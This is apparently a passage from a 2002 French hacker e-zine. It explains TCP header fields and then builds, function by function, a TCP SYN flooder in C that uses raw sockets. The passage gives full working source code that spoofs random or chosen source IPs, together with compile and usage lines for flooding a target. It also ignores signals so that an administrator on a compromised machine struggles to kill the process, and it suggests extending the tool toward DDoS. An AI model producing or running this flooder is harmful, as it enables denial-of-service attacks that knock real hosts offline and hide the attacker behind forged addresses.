                         selon leur numro de squence.


    Accus de rcption: (ou acquittement) Si le ACK est notifi, alors le
                          champ contiendra le numro de squence que le rcpteur
                          s'attend  recevoir.


    Data Offset: Reprsente la taille de l'en-tte TCP en DWORDS (mots de
                  32 bits), par dfaut il pointe sur 5. (5*32=160 bits)

    Rserv: Rserv pour usage ultrieur, pointe obligatoirement sur 0.

    Flags: Voici les 6 flags caractristiques  l'header TCP, appels
            aussi bits de contrle ils rgissent le traitement des donnes
            lors de la rcption ou tout simplement le processus de three
            ways hand shake.

                          SYN: Synchronisation
                          ACK: Acquittement
                          RST: Connection rinitialise
                          FIN: Fin d'envoie de donnes
                          URG: Pointeur de donnes urgentes
                          PSH: Push les donnes


    Fentre(window): Nombre maximum d'octets que le rcpteur est capable de
                      recevoir. Si le nombre dpasse la valeur donne, alors on
                      fragmente en plusieurs paquets.

    Checksum: Somme de contrle, calcule le complment  1 sur 16 bits de la
               somme des complments  1 des octets de l'en-tte et des donnes
               pris deux par deux (mots de 16 bits). Si le message entier contient
               un nombre impair d'octets, un 0 est ajout  la fin du message pour
               terminer le calcul du Checksum. (voir bibli  la fin) En clair cette
               fonction, utilise pour vrifier l'intgrit de l'header propre au
               protocole (ici TCP).


     Pointeur URG_DATAS: Si le flag URG est dfinie  1 alors, en pointant sur
                          les donnes urgentes, la positions de ces dites donnes
                          est rvle pour un traitement immdiat.


     Options: Voici les diffrentes options proposs par TCP :

                   Type    longueur     Valeur      Signification
                    0         -         0x0000000   Fin - options
                    1         -         0x0000001   No-opration
                    2         4         0x0000010   Taille maximale sgment



                     Fin option: Il dterminte la fin de la liste des options, il se
                                 place en dernire position et permet de diffrencier
                                 le champ Options de celui des donnes, au cas o il y
                                 aurait dbordement. Ceci vite toute erreur lors du
                                 traitement des donnes.


                     0x90(NOP!): Organisatieur facultatif, il se place entre diffrentes
                                 options.


                     Taille maximale segment: Lors du processus de connection entre deux
                                              htes, cet option peut tre envoye en
                                              complment d'un flag SYN pointant sur 1,
                                              pour dfinir la taille maximum d'un segment (16 bits).
                                              Par dfaut la taille d'un segment est variable.


      Padding: Le padding ou remplissage, sert  certifier la taille de l'header TCP,
                en octets, comme tant un multiple de 4 (32 bits), et  vrifier l'offset
                de donnes comme marquant bien le dbut des donnes applicatives.







L'header TCP peut paratre assez imposant, mais il n'en est rien lors de la
programmation. Nous allons, comme lors de notre prcdent icmp smurfer, utiliser
les structures correspondantes  nos protocoles contenues dans les librairies
proposes par notre immacul systme ftiche.






    III. Programmation du flooder :
    ________________________________



Nous y voici enfin ! La partie programmation est ludique  souhait !
Rveillez votre  dsir de cration ! Le principe du tcp syn flooding est trs simple.
Lorsque vous envoyer un SYN, l'ordinateur distant alloue des ressources pour chaque
connection. De l, nous allons nous contenter d'inonder le systme cible sous un nombre
suffisamment important de requtes SYN pour puiser ses ressources et mettre hors service
la machine attaque. Notez que ce type d'attaque fait partie intgrante de l'IP spoofing ;-).
Donc nous utiliserons diffrentes structures pour remplir nos headers IP et TCP:
(un tit cat /usr/include/netinet/ip.h || tcp.h)




[ Header IP ]

(pour la description de l'header IP, reportez-vous  l'issue prcdente #ICMP Smurfer)

struct iphdr {

	#if __BYTE_ORDER == __LITTLE_ENDIAN
	    unsigned int ihl:4;
	    unsigned int version:4;
	#elif __BYTE_ORDER == __BIG_ENDIAN
	    unsigned int version:4;
	    unsigned int ihl:4;
	#else
	# error	"Please fix <bits/endian.h>"
	#endif
	    u_int8_t tos;
	    u_int16_t tot_len;
	    u_int16_t id;
	    u_int16_t frag_off;
	    u_int8_t ttl;
	    u_int8_t protocol;
	    u_int16_t check;
	    u_int32_t saddr;
	    u_int32_t daddr;
	    /*The options start here. */
};



[ Header TCP ]

struct tcphdr {
		__u16	source;
		__u16	dest;
		__u32	seq;
		__u32	ack_seq;
	#if defined(__LITTLE_ENDIAN_BITFIELD)
		__u16	res1:4,
			doff:4,
			fin:1,
			syn:1,
			rst:1,
			psh:1,
			ack:1,
			urg:1,
			res2:2;
	#elif defined(__BIG_ENDIAN_BITFIELD)
			__u16	doff:4,
			res1:4,
			res2:2,
			urg:1,
			ack:1,
			psh:1,
			rst:1,
			syn:1,
			fin:1;
	#else
	#error	"Adjust your <asm/byteorder.h> defines"
	#endif
		__u16	window;
		__u16	check;
		__u16	urg_ptr;
};



[ Pseudo header TCP ]

Cette structure du pseudo header TCP est utilis pour calculer la somme de contrle,
on dfinie l'adresse source et destination pour minimiser les pertes de segments sur
le rseau, le protocole (TCP) et la taille du segment. Le char useless est utilis pour
respecter la limite de 32 bits du segment.


------8<---------------------------------------------------------------------

   struct pseudohdr pseudo;
   struct tcphdr tcp;

   pseudo.saddr    = inet_addr("127.0.0.1");
   pseudo.daddr    = inet_addr("127.0.0.1");
   pseudo.useless  = htons(0);
   pseudo.protocol = IPPROTO_TCP;
   pseudo.length   = sizeof(struct tcphdr) + sizeof(data);

   tcp->check    = in_cksum((unsigned short *)&pseudo, sizeof(struct pseudohdr)+sizeof(struct tcphdr));

------8<---------------------------------------------------------------------



Passons ds  prsent  l'implmentation de notre programme.




    IV. Implmentation :
    _____________________

          => En-ttes, variables et structures
          => Fonctions



         1) En-ttes, variables et structures :
         ______________________________________


Je ne vais pas reposer les bases de la programmation raw sockets, nous allons
passer en revue les diffrentes fonctions autour desquelles notre flooder s'articule.

#include <stdio.h>
#include <linux/ip.h> // structure ip header
#include <linux/tcp.h> // structure tcp header
#include <netinet/in.h> // structure sockaddr_in/in_addr
#include <sys/types.h> // manipulation des threads, objects et donnes
#include <sys/socket.h> // structures sockaddr
#include <netdb.h> // structures hostent/netent/servent/protoent
#include <unistd.h> // dclaration de types, constantes, fonctions diverses
#include <signal.h> // intraction avec mcanisme des signaux (voir plus bas)

(j'ai piqu ces constantes au syn flooder de Zakath ;-))
// En ignorant tous ces signaux, le flooder devient beaucoup plus difficile
 supprimer!
#define HEALTY // ignore tous les sinaux sauf Segfault
#define NOSEGV // ignore segfault
#define HIDDEN "emacs" // cache le processus de notre fonction
#define SEQ 0x28376839 // numro de squence

struct tcphdr *tcp; // structure gnrale header TCP
struct iphdr *ip; // structure gnrale header IP
struct sockaddr_in rhost; // pointeur sur l'adresse destinataire (cible)
struct hostent    *source; // pointeur sur adresse source

int synfsock, sock, optval;
char *packet, *buffer;






         2) Fonctions :
         ______________



[ getaddr ]

Cette fonction ne prend qu'un seul argument de type char reprsentant le nom de
la machine, et permet de vrifier la prsence de cet hte sur le rseaux. Elle
retourne l'adresse rseau de ce dernier au format u_long.

unsigned long getaddr(char *sname){
struct hostent * hip; // notre structure hostent (voir issue prcdente)
hip = gethostbyname(sname); // prsence de l'hte
if (!hip){
    perror("Adresse invalide"); // en c
    exit(1);
   }
return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format rseau de la
structure hostent
}






[ set_rnd ]

Lorsque nous allons dfinir alatoirement et manuellement des adresses IP, nous aurons
besoin d'une fonction qui dclare en random les diffrents octets de notre IP: here we are!
Notez qu'elle retourne un type int et prend en argument deux types int, min et max qui sont
les bornes  ne pas dpasser lors du choix alatoire de l'octet, respectivement: 0 et 255,
soit 256 possibilits.

int set_rnd(int min, int max){
int r; // le type int que nous retournerons
r = rand()%(((max + 1) - (min)) + (min)); // calcul alatoire de l'octet
return r;
}





[ ip_rnd ]

Et voici notre fonction calculant alatoirement une IP  l'aide de set_rnd, elle retourne un
pointeur sur l'adresse random cre:
char *ip_rnd(){
int n1, n2, n3, n4; // les octets 1,2,3,4 de notre IP
char *false_ip; // Notre pointeur sur l'adresse random
false_ip = (char *) malloc(1024); // allocation dynamique de mmoire pour notre pointeur (pour viter les segfault ;-))
n1 = set_rnd(0, 254); // calcul alatoire de l'octet 1
n2 = set_rnd(0, 254); // calcul alatoire de l'octet 2
n3 = set_rnd(0, 254); // calcul alatoire de l'octet 3
n4 = set_rnd(0, 254); // calcul alatoire de l'octet 4
sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); // on rorganise l'ensemble des 4 octets
return false_ip; // et on retourne l'ip cre
}







[ sig_exit, sig_segv ]

Lors de la dclaration de nos constantes, nous avions dfinis HEALTY et NOSEGV pour viter  notre
flooder de mordre la poussire sous le premier killer process qui se prsente. En effet, dans le cas
ou vous voudriez utiliser cet outil  distance sur une machine roote, vous allez alors rendre la
tache beaucoup plus difficile  l'admin qui pnera  supprimer le process de notre flooder.
Sig_exit et sig_segv ne retourne rien et prenne en argument un int crap=0, si les macros HEALTY et
NOSEGV ne sont pas reconnues, alors on quitte.
void sig_exit(int crap)
{
#ifndef HEALTHY // macro non existante?
	printf("Signal Caught. Exiting Cleanly.\n");
	exit(crap); // on quitte
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV // macro non existante?
	printf("Segmentation Violation Caught. Exiting Cleanly.\n");
	exit(crap); // on quitte
#endif
}






[ init_signals ]

Voici la fonction qui ignore un hypothtique signal envoy au processus de notre flooder.

void init_signals()
{
// les diffrents signaux connus actuellement
	signal(SIGHUP, sig_exit);  // hang up
	signal(SIGINT, sig_exit);  // signal d'interruption terminale
	signal(SIGQUIT, sig_exit); // signal d'arrt final
	signal(SIGILL, sig_exit);  // instruction illgale
	signal(SIGTRAP, sig_exit); // trace/breakpoint trap
	signal(SIGBUS, sig_exit);  // accs  une portion non dfinie de mmoire
	signal(SIGFPE, sig_exit);  // opration arithmtique rrone
	signal(SIGKILL, sig_exit); // killer signal, il ne peut tre ignor
	signal(SIGUSR1, sig_exit); // signal, dfinis par l'utilisateur, 1
	signal(SIGSEGV, sig_segv); // utilisation rrone de mmoire
	signal(SIGUSR2, sig_exit); // signal, dfinis par l'utilisateur, 2
	signal(SIGPIPE, sig_exit); // criture sur un pipe (criture seulement)
	signal(SIGALRM, sig_exit); // alarme horloge
	signal(SIGTERM, sig_exit); // Signal de terminaison
	signal(SIGCHLD, sig_exit); // child process stopp ou termin
	signal(SIGCONT, sig_exit); // continu l'xcution en cas d'arrt
	signal(SIGSTOP, sig_exit); // fin d'xcution (ne peut tre ignor)
	signal(SIGTSTP, sig_exit); // signal stop finale
	signal(SIGTTIN, sig_exit); // lecture d'un processus en arrire plan (background process)
	signal(SIGTTOU, sig_exit); // criture sur un processus en arrire plan (background process)
	signal(SIGURG, sig_exit);  // bande passante donnes important disponible pour un socket
	signal(SIGXCPU, sig_exit); // limite temps CPU atteinte
	signal(SIGXFSZ, sig_exit); // taille limite d'un fichier atteinte
	signal(SIGVTALRM, sig_exit); // Temps maximum du timer virtuel atteint
	signal(SIGPROF, sig_exit); // profiling timer expir
	signal(SIGIOT, sig_exit);  // ?
	signal(SIGWINCH, sig_exit); // ?
	signal(SIGIO, sig_exit);  // ?
	signal(SIGPWR, sig_exit); // ?
}




[ synflood ]

Notre dernire fonction, la plus importante, elle prend cinq arguments:

  o u_long ipspoofee: ce ne peut tre plus clair, notre adresse source spoofe (random ou dfinie par l'utilisateur).
  o u_long acbile: l'adresse de notre cible.
  o int x: il joue le rle d'un boolean, il retourne 1 si l'IP doit tre cre en random ou 0 sinon.
  o int nbrp: nombre totale de paquets  envoyer.
  o int max_ports: le plus grand port de destination.





Nous allons donc d'une part concatner deux boucles, l'une pour le nombre de paquets  envoyer, l'autre pour
le nombre de ports de destination, et ensuite dfinir une ip en random si x==0, puis forger nos headers IP
et TCP en nous contentant de remplir les diffrents champs propres aux structures associes. Notez que que
nous utiliserons la fonction setsockopt() pour attribuer des fonctions  notre socket. Voici sa syntaxe:

  setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen);
  o int s: spcifie une socket pour laquelle une option doit tre tablie.
  o int level: spcifie si l'opration s'applique  la socket elle mme ou au protocole en cours d'utilisation. La socket
  est reprsent par la constant SOL_SOCKET, alors qu'un autre protocole require son numro (cat etc/protocols).
  o int optname: spcifie une option simple  laquelle la requte s'applique.
  o const void *optval: la valeur de l'option.
  o socklen_t optlen: la taille de la valeur prcdente.




En cas d'chec, setsockopt() retourne -1 en affichant l'erreur correspondante (en ralite un numro d'erreur):
  o EBADF: s n'est pas un descripteur valide.
  o ENOTSOCK: s n'est pas un socket descriptor.
  o ENOPROTOOPT: l'option optname est inconnue.
  o EFAULT: optval n'est pas un pointeur valide.



Comme nous forgeons manuellement nos paquets, optname retournera l'option IP_HDRINCL indiquant au systme
de ne pas gnrer d'en-tte IP.


int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports)
{
// nos variables
  char *paquet, *fip;
  int i, j, preussi=-1, pechou=0;
  printf("x=%i\n", x);

  for(i=0;i<=nbrp;i++) // premire boucle (nombre de paquets total  envoyer)
     {
    for(j=1; j<=max_ports; j++) // seconde boucle concatner (valeur actuelle du port de destination)
       {
        if (x==1) // si x==1 alors on choisie une IP alatoire
          ipspoofee = getaddr(ip_rnd());
// allocation dynamique de mmoire, pour notre paquet et nos headers merci  [p]lug
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        ip = (struct iphdr *) packet;
        tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
// remplissage de notre header IP
        ip->ihl     = 5; // IHL (5 minimum)
        ip->version = 4; // numro de version (4)
        ip->tos     = 0; // type de service
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); /longueur totale du paquet
        ip->id      = (random()); // identificateur du paquet (pour fragmentation)
        ip->ttl      = 255; // time to live, ou nombre maximum de sauts  xcuter
        ip->protocol = IPPROTO_TCP; // protocole de niveau suprieur (voir protocol layering ci-dessous) ici TCP
        ip->saddr    = ipspoofee; // adresse source spoofe
        ip->daddr    = acible; // adresse de destination
// notre pseudo en-tte TCP
        pseudo.saddr = ip->saddr;
        pseudo.daddr = ip->daddr;
        pseudo.useless  = htons(0);
        pseudo.protocol = IPPROTO_TCP;
        pseudo.length   = sizeof(struct tcphdr);
// remarquez que lorsque nous entrons des donnes  nos champs, nous utilisons la fonction htons pour convertir
l'ordre des bits de l'hte en format rseau
        tcp->source  = htons(5000); // port source
        tcp->dest    = htons(80); // port destination
        tcp->seq     = htonl(SEQ); // numro de squence
        tcp->ack_seq = htonl(0); // squence d'acquittement
        tcp->doff    = 5; // data offset
        tcp->fin     = 0; // bit de contrle FIN
        tcp->syn     = 1; // bit de contrle SYN
        tcp->rst     = 0; // bit de contrle RST
        tcp->psh     = 0; // bit de contrle PSH
        tcp->ack     = 0; // bit de contrle ACK
        tcp->urg     = 0; // bit de contrle URG
        tcp->window  = htons(65535); // fentre
        tcp->urg_ptr = htons(0); // pointeur urgent
// sommes de contrle
        tcp->check   = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
// dclaration de notre socket
      if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
	{
// en cas d'errer on quitte
	  perror("Erreur lors de la cregation du socket");
              exit(0);
	} else {
// dclaration des options attribues  notre socket (voir plus haut)
              setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
              rhost.sin_family = AF_INET;
              rhost.sin_port = tcp->dest; // utilit de cette fonction? tout est dfinie dans l'en-tte forg
              rhost.sin_addr.s_addr = ip->daddr;
// envoie du paquet
       if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0)
	 {
// en cas d'erreur on stop le processus (on "l'endort") pour 100 ms (plus que raisonnable pour une connection en 56)
	   perror("Erreur lors de l'envoie des paquets SYN");
// puis on incrmente notre int pechou
	   pechou++;
               usleep(100);
	 }else{
// sinon on incrmente preussi et on endort provisoirement le processus
	   printf("Paquet SYN envoye sur port: %i!\n", j);
	   preussi++;
               usleep(100);
	    }
	}
// si le nombre maximum de ports de destination est atteint avant le nombre de paquets total  envoyer, max_port
est rinitialis  0
       if (j==max_ports)
          j=0;
      close(sock);
       }
  }
// mes statistiques si chres ;-)
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
printf("Nombre total de paquets envoyes: %i\n", nbrp);
printf("Nombre total de paquets reus: %i\n", preussi);
printf("Nombre total de paquets perdus: %i\n", pechou);
      return 0;
      }











[ Point d'entre ]

Notre fonction main:! Nous rcuprons les diffrents arguments entrs par l'utilisateur ncssaires aux fonctions
appels ultrieurement pour le syn flooding.


int main(int argc, char *argv[])
{
// nos variables
  int x=0, nbrp=100, max_ports=100;
  long nseq;
  char *spoof, *cible;
  unsigned long aspoof, acible;

  if (argc < 2)
    {
// si le nombre d'arguments entr est infrieur  2 alors on affiche l'usage et on quitte
      printf("                    TCP SYN FLOODER By Li0n7                    \n\n");
      printf("                    .: Presentation des arguments :.             \n\n");
      printf("         -c<cible>  : cible a flooder ;-)                         \n");
      printf("         -r             : IP choisie alatoirement                         \n");
      printf("         -s<IP>      : IP sous laquelle se spoofer                         \n");
      printf("         -n<nbr_p>: nombre de paquets a envoyer, def=100                   \n");
      printf("         -p<nbr_pt>: nombre de ports a utiliser, def=100                   \n");
      exit(0);
   } else {
// sinon tant que le nombre d'argument est suprieur  0 on switch
           while((argc>1)&&(argv[1][0]=='-'))
                    {
                switch(argv[1][1])
                        {
                         case 'c':
// on rcupre l'addresse cible que l'on passe en unsigned long
	               cible=&argv[1][2];
                           acible =  getaddr(cible);
	               break;
                         case 'r':
  // on rcupre l'addresse cible que l'on passe en unsigned long, en attribuant la valeur  1  x (voir fonction synflood)
                           x=1;
                           aspoof = getaddr(ip_rnd());
	               break;
                         case 's':
// on rcupre l'addresse source sous laquelle se spoofer que l'on passe en unsigned long
                          spoof=&argv[1][2];
                          aspoof = getaddr(spoof);
                          break;
                        case 'n':
  // on rcupre le nombre de paquets total  envoyer
                          nbrp = atoi(&argv[1][2]);
                          break;
                        case 'p':
// on rcupre le port limite sur lequel envoy les paquets spoofs
                          max_ports = atoi(&argv[1][2]);
                          if(max_ports > 65535 || max_ports < 0){
                            printf("Le port doit etre superieur a 0 et inferieur a 65535\n");
                            exit(0);
                           }
                          break;
                       }
                  --argc;
                 ++argv;
                }
      }
// puis on appelle notre fonction synflood en rentrant les arguments prcdemment mis en mmoire
    synflood(aspoof, acible, x, nbrp, max_ports);
return 0;
}









    V. Code source :
    ________________


/******************************************/
/*         Ssyn flooder By Li0n7          */
/*    contactez-moi: Li0n7@voila.fr */
/*         http://www.ioc.fr.st           */
/*             TCP SYN FLOODER            */
/* Copyright Li0n7 - Tous droits rservs */
/******************************************/

#include <stdio.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>

#define HEALTY
#define NOSEGV
#define HIDDEN "emacs"
#define SEQ 0x28376839

int synfsock, sock, optval;
char *packet, *buffer;
struct tcphdr *tcp;

struct pseudohdr {
       unsigned long saddr;
       unsigned long daddr;
       char useless;
       unsigned char protocol;
       unsigned short length;
}pseudo;

struct iphdr *ip;
struct sockaddr_in rhost;
struct hostent    *source;
struct hostent    *cible;

unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;

while (nleft > 1)
   {
   sum += *w++;
   nleft -= 2;
   }
  if (nleft == 1)
     {
     *(u_char *) (&answer) = *(u_char *) w;
     sum += answer;
     }
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
return (answer);
}

unsigned long getaddr(char *sname){
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip){
    perror("Adresse invalide");
    exit(1);
   }
return *(unsigned long *)hip -> h_addr;
}

int set_rnd(int min, int max){
int r;
r = rand()%(((max + 1) - (min)) + (min));
return r;
}

char *ip_rnd(){
int n1, n2, n3, n4;
char *false_ip;
false_ip = (char *) malloc(1024);
n1 = set_rnd(0, 254);
n2 = set_rnd(0, 254);
n3 = set_rnd(0, 254);
n4 = set_rnd(0, 254);
sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4);
return false_ip;
}

void sig_exit(int crap)
{
#ifndef HEALTHY
	printf(" [H [JSignal Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
	printf(" [H [JSegmentation Violation Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}

void init_signals()
{
	signal(SIGHUP, sig_exit);
	signal(SIGINT, sig_exit);
	signal(SIGQUIT, sig_exit);
	signal(SIGILL, sig_exit);
	signal(SIGTRAP, sig_exit);
	signal(SIGIOT, sig_exit);
	signal(SIGBUS, sig_exit);
	signal(SIGFPE, sig_exit);
	signal(SIGKILL, sig_exit);
	signal(SIGUSR1, sig_exit);
	signal(SIGSEGV, sig_segv);
	signal(SIGUSR2, sig_exit);
	signal(SIGPIPE, sig_exit);
	signal(SIGALRM, sig_exit);
	signal(SIGTERM, sig_exit);
	signal(SIGCHLD, sig_exit);
	signal(SIGCONT, sig_exit);
	signal(SIGSTOP, sig_exit);
	signal(SIGTSTP, sig_exit);
	signal(SIGTTIN, sig_exit);
	signal(SIGTTOU, sig_exit);
	signal(SIGURG, sig_exit);
	signal(SIGXCPU, sig_exit);
	signal(SIGXFSZ, sig_exit);
	signal(SIGVTALRM, sig_exit);
	signal(SIGPROF, sig_exit);
	signal(SIGWINCH, sig_exit);
	signal(SIGIO, sig_exit);
	signal(SIGPWR, sig_exit);
}


int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports)
{
  char *paquet, *fip;
  int i, j, preussi=-1, pechou=0;
  printf("x=%i\n", x);

  for(i=0;i<=nbrp;i++)
     {
    for(j=1; j<=max_ports; j++)
       {
        if (x==1)
          ipspoofee = getaddr(ip_rnd());

        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        ip = (struct iphdr *) packet;
        tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));

        ip->ihl     = 5;
        ip->version = 4;
        ip->tos     = 0;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
        ip->id      = (random());
        ip->ttl      = 255;
        ip->protocol = IPPROTO_TCP;
        ip->saddr    = ipspoofee;
        ip->daddr    = acible;

        pseudo.saddr = ip->saddr;
        pseudo.daddr = ip->daddr;
        pseudo.useless  = htons(0);
        pseudo.protocol = IPPROTO_TCP;
        pseudo.length   = sizeof(struct tcphdr);

        tcp->source  = htons(5000);
        tcp->dest    = htons(80);
        tcp->seq     = htonl(7);
        tcp->ack_seq = htonl(0);
        tcp->doff    = 5;
        tcp->fin     = 0;
        tcp->syn     = 1;
        tcp->rst     = 0;
        tcp->psh     = 0;
        tcp->ack     = 0;
        tcp->urg     = 0;
        tcp->window  = htons(65535);
        tcp->urg_ptr = htons(0);

        tcp->check   = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

      if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
	{
	  perror("Erreur lors de la cregation du socket");
              exit(0);
	} else {
              rhost.sin_family = AF_INET;
              rhost.sin_port = tcp->dest;
              rhost.sin_addr.s_addr = ip->daddr;

       if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0)
	 {
	   perror("Erreur lors de l'envoie des paquets SYN");
	   pechou++;
               usleep(100);
	 }else{
	   printf("Paquet SYN envoye sur port: %i!\n", j);
	   preussi++;
               usleep(100);
	    }
	}
       if (j==max_ports)
          j=0;
      close(sock);
       }
  }
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
printf("Nombre total de paquets envoyes: %i\n", nbrp);
printf("Nombre total de paquets reus: %i\n", preussi);
printf("Nombre total de paquets perdus: %i\n", pechou);
      return 0;
      }

int main(int argc, char *argv[])
{
  int x=0, nbrp=100, max_ports=100;
  long nseq;
  char *spoof, *cible;
  unsigned long aspoof, acible;

  if (argc < 2)
    {
      printf("                    TCP SYN FLOODER By Li0n7                    \n\n");
      printf("                    .: Presentation des arguments :.             \n\n");
      printf(" usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> \n");
      printf("         -c<cible>  : cible a flooder ;-)                         \n");
      printf("         -r             : IP choisie alatoirement                         \n");
      printf("         -s<IP>      : IP sous laquelle se spoofer                         \n");
      printf("         -n<nbr_p>: nombre de paquets a envoyer, def=100                   \n");
      printf("         -p<nbr_pt>: nombre de ports a utiliser, def=100                   \n");
      exit(0);
   } else {
           while((argc>1)&&(argv[1][0]=='-'))
                    {
                switch(argv[1][1])
                        {
                         case 'c':
	               cible=&argv[1][2];
                           acible =  getaddr(cible);
	               break;
                         case 'r':
                           x=1;
                           aspoof = getaddr(ip_rnd());
	               break;
                         case 's':
                          spoof=&argv[1][2];
                          aspoof = getaddr(spoof);
                          break;
                        case 'n':
                          nbrp = atoi(&argv[1][2]);
                          break;
                        case 'p':
                          max_ports = atoi(&argv[1][2]);
                          if(max_ports > 65535 || max_ports < 0){
                            printf("Le port doit etre superieur a 0 et inferieur a 65535\n");
                            exit(0);
                           }
                          break;
                       }
                  --argc;
                 ++argv;
                }
      }
    synflood(aspoof, acible, x, nbrp, max_ports);
return 0;
}






    VI. Conclusion :
    ________________

Vous voila  prsent en possession des connaissances ncessaires  la prog de
flooders TCP, rien de bien difficile en soit. Ce programme peut tre optimis
et bnficer d'amliorations notables, notamment au niveau de la gestion des
ports de destination. Actuellement il envoie entre les ports 1 et max_ports,
vous pouvez remplacer la constante 1 par un integer entr par l'utilisateur
de manire a dfinir une plage de ports limite. Un moteur de contrle du
flooder  distance avec automatisation du flooding serait aussi susceptible
d'tre grffer au programme. Nous abordons ici le DDoS, mais ce ne sera pas
pour cette issue!

Pour compiler:

$ gcc -o tcp_synf tcp_synf.c

usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r>

-c<cible>  : cible a flooder =))
-r             : IP choisie alatoirement.
-s<IP>      : IP sous laquelle se spoofer.
-n<nbr_p>: nombre de paquets a envoyer, defaut=100.
-p<nbr_pt>: nombre de ports a utiliser, defaut=100.

Voila tout, programmons par pur plaisir et non par intrt, j'entends par l
le fait que des sk purils s'arrogent le droit de disposer de cet outil sans
en comprendre la substance me rpugne totalement.



Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr
























---------------------------------------------------------------------------------------
                                 CONTACTS                                   IOC Staff
---------------------------------------------------------------------------------------



                  ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :


               Meik :       meik666@hotmail.com         #150635264
               Neofox :     neo_fox_2001@hotmail.com    #150837448
               Emper0r :    emper0r@secureroot.com      #66985563
               Disk-Lexic : bufferghost@caramail.com
               Li0n7 :      Li0n7@voila.fr
               Viperone :   viperone11@hotmail.com


                          EN COLLABORATION  AVEC :

                    Jackieils :  jackniels@hotmail.com
                    Marcel :     emulators@fr.fm





                                 LIENS


                        http://www.hianda.fr.st
                        http://attila666.no-ip.org
                        http://www.rootshell.be/~emepr0r
                        http://akheron.free.fr
                        http://l7l.linux-fan.com
                        http://www.newffr.org
                        http://www.rootshell.be/~mrmilow
                        http://jahnastah.org
                        http://www.rndghost.com
                        http://www.root-privs.be.tf
                        http://www.projet7.org
                        http://www.kernhell.org
                        http://www.salemioche.com









       ____    ___    __ __     ____  __   __   __  ___  __    ___    __ __
      /  __| /     \ |  '_  \  /  __||  | |  | |  |/ __/|  | /     \ |  '_  \
     |  [__ |  [ ]  ||  | |  ||  [__ |  |_|   -   |\__ \|  ||  [ ]  ||  | |  |
      \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__|


               End Of file, certains disent EOF.  C'est ainsi que nous
               concluons ce copieux numro. N'hsitez pas  nous faire
               part de vos suggestions, afin que nous puissions amlio
               -rer le contenu issues  venir.  N'histez pas non plus
                nous faire parvenir  vos articles, aidez nous  faire
               vivre ce mag, aprs tout, c'est le votre ! Bon coding 
               tous et rendez vous d'ici quelques temps pour la sortie
               de la prochaine issue.








                             - Copyright  2002 [IOC] -



